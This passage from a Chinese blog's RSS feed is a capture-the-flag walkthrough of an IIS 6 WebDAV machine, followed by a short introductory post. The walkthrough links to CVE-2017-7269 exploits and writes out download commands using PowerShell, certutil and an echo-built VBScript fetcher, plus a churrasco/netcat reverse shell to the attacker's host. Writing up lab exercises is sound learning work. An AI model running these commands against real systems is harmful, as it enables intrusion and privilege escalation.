&lt;li&gt;看看 Web 的部分&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用 burp 看 response header 可以知道是 ASP.NET 框架&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;dirsearch&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;dirsearch -u http://10.10.10.15/ -r
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有些資訊洩漏，但沒什麼想法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[22:45:28] 200 -  246B  - /_private/     (Added to queue)                   
[22:45:28] 301 -  153B  - /_private  -&amp;gt;  http://10.10.10.15/%5Fprivate/     
[22:45:28] 200 -  759B  - /_vti_bin/     (Added to queue)                   
[22:45:28] 301 -  155B  - /_vti_bin  -&amp;gt;  http://10.10.10.15/%5Fvti%5Fbin/
[22:45:28] 200 -    2KB - /_vti_inf.html                                    
[22:45:28] 301 -  155B  - /_vti_log  -&amp;gt;  http://10.10.10.15/%5Fvti%5Flog/
[22:45:28] 200 -  246B  - /_vti_log/     (Added to queue)
[22:45:28] 500 -   88B  - /_vti_cnf/
[22:45:29] 200 -  195B  - /_vti_bin/_vti_aut/author.dll                     
[22:45:29] 200 -   96B  - /_vti_bin/shtml.exe?_vti_rpc
[22:45:29] 500 -   88B  - /_vti_pvt/
[22:45:29] 200 -  195B  - /_vti_bin/_vti_adm/admin.dll
[22:45:29] 200 -  106B  - /_vti_bin/shtml.exe/qwertyuiop                    
[22:45:29] 200 -  105B  - /_vti_bin/shtml.dll/asdfghjkl                     
[22:45:29] 200 -   96B  - /_vti_bin/shtml.dll
[22:45:40] 200 -  369B  - /aspnet_client/     (Added to queue)              
[22:45:40] 301 -  158B  - /aspnet_client  -&amp;gt;  http://10.10.10.15/aspnet%5Fclient/
[22:45:52] 301 -  149B  - /images  -&amp;gt;  http://10.10.10.15/images/     (Added to queue)
[22:45:52] 200 -  242B  - /images/
[22:46:08] 200 -    2KB - /postinfo.html
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Google&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;找到一個 RCE 的 exploit&lt;br /&gt;
https://github.com/eliuha/webdav_exploit&lt;/p&gt;
&lt;p&gt;沒拿到 shell 換個 exploit&lt;br /&gt;
https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269/blob/master/iis6%20reverse%20shell&lt;/p&gt;
&lt;p&gt;拿到 shell ㄌ，但還拿不到 user flag
&lt;img src=&quot;2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Privilege Escalation&lt;/h2&gt;
&lt;p&gt;systeminfo + Windows-exploit-suggester&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python2 windows-exploit-suggester.py --database 2024-04-01-mssb.xls --systeminfo sysinfo.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到蠻多路線的，可以一個一個嘗試&lt;/p&gt;
&lt;p&gt;不過沒辦法用 powershell 傳輸檔案&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;powershell -c &quot;(new-object System.Net.WebClient).DownloadFile(&apos;http://10.10.16.2:8000/ms15-051_x32.exe&apos;, &apos;ms15-051_x32.exe&apos;)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;改用 Certutil.exe 也不行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certutil.exe -urlcache -split -f http://10.10.16.2:8000/ms15-051_x32.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不過之前 RECON 知道可以用 PUT 上傳檔案&lt;br /&gt;
用 davtest 確認一下可以上傳的 extension&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;davtest -url http://10.10.10.15
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt; Sending test files
PUT     shtml   FAIL
PUT     cgi     FAIL
PUT     cfm     FAIL
PUT     pl      FAIL
PUT     php     FAIL
PUT     aspx    FAIL
PUT     asp     FAIL
PUT     jsp     FAIL
PUT     txt     FAIL
PUT     html    FAIL
PUT     jhtml   FAIL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;哭阿，居然沒得用&lt;/p&gt;
&lt;p&gt;只好用 VBScript&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo strUrl = WScript.Arguments.Item(0) &amp;gt; wget.vbs
echo StrFile = WScript.Arguments.Item(1) &amp;gt;&amp;gt; wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 &amp;gt;&amp;gt; wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 &amp;gt;&amp;gt; wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 &amp;gt;&amp;gt; wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 &amp;gt;&amp;gt; wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts &amp;gt;&amp;gt; wget.vbs
echo Err.Clear &amp;gt;&amp;gt; wget.vbs
echo Set http = Nothing &amp;gt;&amp;gt; wget.vbs
echo Set http = CreateObject(&quot;WinHttp.WinHttpRequest.5.1&quot;) &amp;gt;&amp;gt; wget.vbs
echo If http Is Nothing Then Set http = CreateObject(&quot;WinHttp.WinHttpRequest&quot;) &amp;gt;&amp;gt; wget.vbs
echo If http Is Nothing Then Set http = CreateObject(&quot;MSXML2.ServerXMLHTTP&quot;) &amp;gt;&amp;gt; wget.vbs
echo If http Is Nothing Then Set http = CreateObject(&quot;Microsoft.XMLHTTP&quot;) &amp;gt;&amp;gt; wget.vbs
echo http.Open &quot;GET&quot;, strURL, False &amp;gt;&amp;gt; wget.vbs
echo http.Send &amp;gt;&amp;gt; wget.vbs
echo varByteArray = http.ResponseBody &amp;gt;&amp;gt; wget.vbs
echo Set http = Nothing &amp;gt;&amp;gt; wget.vbs
echo Set fs = CreateObject(&quot;Scripting.FileSystemObject&quot;) &amp;gt;&amp;gt; wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) &amp;gt;&amp;gt; wget.vbs
echo strData = &quot;&quot; &amp;gt;&amp;gt; wget.vbs
echo strBuffer = &quot;&quot; &amp;gt;&amp;gt; wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) &amp;gt;&amp;gt; wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) &amp;gt;&amp;gt; wget.vbs
echo Next &amp;gt;&amp;gt; wget.vbs
echo ts.Close &amp;gt;&amp;gt; wget.vbs
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cscript /nologo wget.vbs http://10.10.16.2:8000/ms15-051_x32.exe ms15-051_x32.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.\ms15-015_x32.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;卡住了，ctrl+c 重發 exploit，然後就拿不到 shell ㄌ&lt;/p&gt;
&lt;p&gt;一個一個試太浪費時間，等待 Reset 的垃圾時間再去 Google 一下&lt;br /&gt;
找到 churrasco.exe&lt;/p&gt;
&lt;p&gt;https://github.com/Re4son/Churrasco/&lt;/p&gt;
&lt;p&gt;用 VBScript 上傳 churrasco.exe 跟 nc_x32.exe&lt;br /&gt;
再用 churrasco.exe 彈 reverse shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;churrasco.exe -d &quot;nc_x32.exe -e cmd.exe 10.10.16.2 1234&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提權成功！&lt;br /&gt;
&lt;img src=&quot;3.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;後記&lt;/h2&gt;
&lt;p&gt;RCE 部分很明確，後來看其他人的 Write-up 發現還有蠻多種方法&lt;br /&gt;
提權部分就有點坐牢了，老機器減少樂趣QQ&lt;br /&gt;
學到用 VBScript 傳輸檔案跟新的提權方式還是蠻賺的，可惜沒怎麼玩到 WebDav&lt;/p&gt;
</content:encoded></item><item><title>Hello World!</title><link>https://flydragonw.github.io/posts/firstpost/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/firstpost/</guid><description>關於這個 blog</description><pubDate>Wed, 03 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.firstpost&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;p&gt;覺得這個 theme 很好看，所以建了 blog&lt;/p&gt;
&lt;p&gt;這裡的內容主要是紀錄為主，可能不會有太多美化。&lt;/p&gt;
</content:encoded></item></channel></rss>